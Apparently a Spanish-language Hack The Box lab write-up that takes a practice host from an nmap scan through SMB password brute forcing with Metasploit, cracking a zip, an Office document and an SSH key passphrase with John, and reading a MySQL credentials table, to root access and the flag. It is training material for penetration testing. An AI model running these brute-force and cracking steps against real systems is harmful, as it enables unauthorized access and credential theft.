🔑Lab de contraseñas - Medium
Nuestro próximo host es una estación de trabajo utilizada por un empleado para su trabajo diario.
Estos tipos de hosts se utilizan a menudo para intercambiar archivos con otros empleados y, por lo general, los administran administradores a través de la red. Durante una reunión con el cliente, se nos informó que muchos usuarios internos utilizan este host como host de salto. La atención se centra en asegurar y proteger los archivos que contienen información confidencial.
Objetivo
Examina el segundo objetivo y envía el contenido de flag.txt en /root/ como respuesta.
Escaneo de puertos
sudo nmap -v -sV -T5 10.129.202.221 -Pn
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Observamos que tiene 3 puertos abiertos, 22, 139 y 445, que se corresponden con SSH y SMB
Bruteforce de SMB
Vamos a user el módulo smb_login
de metasploit, explicado en la sección Bruteforce de Servicios:
msf6 auxiliary(scanner/smb/smb_login) > set user_file username.list
user_file => username.list
msf6 auxiliary(scanner/smb/smb_login) > set pass_file password.list
pass_file => password.list
msf6 auxiliary(scanner/smb/smb_login) > set rhosts 10.129.187.207
rhosts => 10.129.187.207
msf6 auxiliary(scanner/smb/smb_login) > run
[*] 10.129.187.207:445 - 10.129.187.207:445 - Starting SMB login bruteforce
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\john:123456'
[!] 10.129.187.207:445 - No active DB -- Credential data will not be saved!
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\dennis:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\chris:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\cassie:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\admin:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\root:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\sysadmin:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\sysadm:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\svc:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\administrator:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\helpdesk:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\reception:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\finance:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\its:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\ict:123456'
[+] 10.129.187.207:445 - 10.129.187.207:445 - Success: '.\hr:123456'
Observamos que se repiten las mismas credenciales para múltiples usuarios, incluído el usuario root
: 123456
Enumeración de SMB
crackmapexec smb 10.129.187.207 -u "root" -p "123456" --shares
SMB 10.129.187.207 445 SKILLS-MEDIUM [*] Windows 6.1 Build 0 (name:SKILLS-MEDIUM) (domain:) (signing:False) (SMBv1:False)
SMB 10.129.187.207 445 SKILLS-MEDIUM [+] \root:123456
SMB 10.129.187.207 445 SKILLS-MEDIUM [+] Enumerated shares
SMB 10.129.187.207 445 SKILLS-MEDIUM Share Permissions Remark
SMB 10.129.187.207 445 SKILLS-MEDIUM ----- ----------- ------
SMB 10.129.187.207 445 SKILLS-MEDIUM print$ Printer Drivers
SMB 10.129.187.207 445 SKILLS-MEDIUM SHAREDRIVE READ SHARE-DRIVE
SMB 10.129.187.207 445 SKILLS-MEDIUM IPC$ IPC Service (skills-medium server (Samba, Ubuntu))
Encontramos la carpeta compartida SHAREDRIVE
con permisos de lectura que nos interesa. Dentro vemos que hay un Docs.zip
que pude contener información relevante, por lo que nos lo vamos a descargar con smbclient
:
smbclient -U root \\\\10.129.202.221\\SHAREDRIVE
Password for [WORKGROUP\john]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Thu Feb 10 11:39:38 2022
.. D 0 Thu Feb 10 11:35:54 2022
Docs.zip N 6724 Thu Feb 10 11:39:38 2022
14384136 blocks of size 1024. 9908800 blocks available
smb: \> get Docs.zip
getting file \Docs.zip of size 6724 as Docs.zip (9,9 KiloBytes/sec) (average 9,9 KiloBytes/sec)
smb: \>
Al intentar descomprimir este zip vemos que está protegido por contraseña, por lo que vamos a usar zip2john para crackearlo:
unzip Docs.zip
Archive: Docs.zip
[Docs.zip] Documentation.docx password:
Cracking con zip2john
afsh4ck@kali$ zip2john Docs.zip > zip.hash
ver 2.0 efh 5455 efh 7875 Docs.zip/Documentation.docx PKZIP Encr: TS_chk, cmplen=6522, decmplen=9216, crc=B1855553 ts=597A cs=597a type=8
Vamos a utilizar nuestra lista de contraseñas mutadas con hashcat para aumentar la efectividad del crackeo con John:
afsh4ck@kali$ john --wordlist=mut_password.list zip.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Destiny2022! (Docs.zip/Documentation.docx)
Y bumm! Obtenemos la contraseña del zip. Vamos a descomprimirlo y ver su contenido:
afsh4ck@kali$ unzip Docs.zip
Archive: Docs.zip
[Docs.zip] Documentation.docx password:
inflating: Documentation.docx
afsh4ck@kali$ ls
Docs.zip Documentation.docx
Hay un Documentation.docx
, pero su contenido está cifrado, por lo que necesitamos desencriptarlo para leer el contenido.

Cracking con Office2john
afsh4ck@kali$ office2john Documentation.docx > doc.hash
afsh4ck@kali$ john --wordlist=mut_password.list doc.hash
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 128/128 ASIMD 4x / SHA512 128/128 ASIMD 2x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
987654321 (Documentation.docx)
Ya tenemos la contraseña del archivo! Ahora necesitamos libreoffice
para abrirlo en Kali Linux:
sudo apt install libreoffice
libreoffice Documentation.docx


Y obtenemos correctamente las credenciales del usuario root!
jason:C4mNKjAtL2dydsYa6
🏆
Root Login
ssh jason@10.129.187.207
Last login: Fri Mar 25 13:02:38 2022 from 10.129.202.221
jason@skills-medium:~$ whoami jason@skills-medium:~$ whoami
jason
Observamos que Jason no es el usuario root (aunque así se recoja en el documento), por lo que vamos a enumerar información dentro del host
jason@skills-medium:/$ cd home
jason@skills-medium:/home$ ls
dennis jason
Lo primero que observamos es que hay 2 usuarios en el sistema: dennis y jason. Enumerando un poco de información encontramos que en el directorio dennis hay un archivo .bash_history
que posiblemente contenga información relevante sobre el usuario root, pero no podemos acceder:
jason@skills-medium:/home/dennis$ la
.bash_history .bash_logout .bashrc .cache .config .profile .ssh .viminfo
jason@skills-medium:/home/dennis$ cat .bash_history
cat: .bash_history: Permission denied
Escalada de privilegios
Observamos que se utiliza una base de datos en el host, por lo que vamos a loguearnos con este usuario administrados para ver si encontramos información relevante:
jason@skills-medium:~$ mysql -u jason -p
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 13
Server version: 8.0.28-0ubuntu0.20.04.3 (Ubuntu)
Copyright (c) 2000, 2022, Oracle and/or its affiliates.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
No entry for terminal type "xterm-kitty";
using dumb terminal settings.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql>
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| users |
+--------------------+
2 rows in set (0.01 sec)
mysql> use users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+-----------------+
| Tables_in_users |
+-----------------+
| creds |
+-----------------+
1 row in set (0.00 sec)
mysql>
mysql> select * FROM creds;
+-----+--------------------+----------------+
| id | name | password |
+-----+--------------------+----------------+
| 1 | Hiroko Monroe | YJE25AGN4CX |
| 2 | Shelley Levy | GOK34QLM1DT |
| 3 | Uriel Velez | OAY05YXS1XN |
| 4 | Vanna Benton | EAU86WAY1BY |
| 5 | Philip Morales | ONC53GFI2ID |
<-------SNIP------->
| 96 | Charles Bell | FAG53RFK7TH |
| 97 | Justina Greer | YPG28SUE4JD |
| 98 | Elton Wallace | SGH05RBW1YL |
| 99 | Jamalia Byers | KVE47IWE5UF |
| 100 | Lael Rivers | YNQ63NWP1RD |
| 101 | dennis | 7AUgWWQEiMPdqx |
+-----+--------------------+----------------+
101 rows in set (0.00 sec)
mysql>
Encontramos la contraseña del usuario dennis: 7AUgWWQEiMPdqx
ssh dennis@10.129.187.207
kex_exchange_identification: read: Connection reset by peer
Connection reset by 10.129.187.207 port 22
Al intentar conectarnos por SSH rechaza nuestra conexión, por lo que directamente vamos a cambiar al usuario Dennis dentro del host:
jason@skills-medium:~$ su dennis
Password:
dennis@skills-medium:/home/jason$ cd ..
dennis@skills-medium:/home$ cd dennis
dennis@skills-medium:~$ la
.bash_history .bash_logout .bashrc .cache .config .profile .ssh .viminfo
dennis@skills-medium:~$ cat .bash_history
ssh-keygen -m PEM -t rsa
ls
cd
cd ..
cd
cd .ssh/
ls
cat id_rsa.pub > authorized_keys
vim authorized_keys
passwd
clear
exit
cd .ssh
cat id_rsa
dennis@skills-medium:~$
Conseguimos cambiar al usuario dennis correctamente, y podemos ver el archivo .bash_history, que tal y como pensábamos nos indica la ruta de los id_rsa para conectarnos sin contraseña por SSH.
Vamos a transferir el id_rsa a nuestra máquina de atacante y intentar conectarnos:
afsh4ck@kali$ ls
id_rsa
afsh4ck@kali$ ssh -i id_rsa root@10.129.233.16
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
root@10.129.233.16: Permission denied (publickey).
afsh4ck@kali$ chmod 400 id_rsa
afsh4ck@kali$ ssh -i id_rsa root@10.129.233.16
Enter passphrase for key 'id_rsa':
Nos pide un passphrase para el id_rsa, por lo que vamos a crackearlo con ssh2john
Cracking con ssh2john
afsh4ck@kali$ ssh2john id_rsa > ssh.hash
afsh4ck@kali$ ls
id_rsa mut_password.list ssh.hash
afsh4ck@kali$ john --wordlist=mut_password.list ssh.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssw0rd12020! (id_rsa)
Con esto, obtenemos las credenciales para loguearnos por SSH como el usuario root y el id_rsa
Acceso Root - Final
Efectivamente, nos logueamos correctamente y conseguimos acceder a la flag 🏆
ssh -i id_rsa root@10.129.233.16
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-99-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon 22 Apr 2024 03:14:46 PM UTC
System load: 0.0 Processes: 187
Usage of /: 29.0% of 13.72GB Users logged in: 1
Memory usage: 31% IPv4 address for ens192: 10.129.233.16
Swap usage: 0%
0 updates can be applied immediately.
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Mar 25 15:41:38 2022 from 10.129.202.106
root@skills-medium:~# whoami
root
root@skills-medium:~# ls
flag.txt snap
root@skills-medium:~# cat flag.txt
HTB{PeopleReuse_PWsEverywhere!}
Última actualización
¿Te fue útil?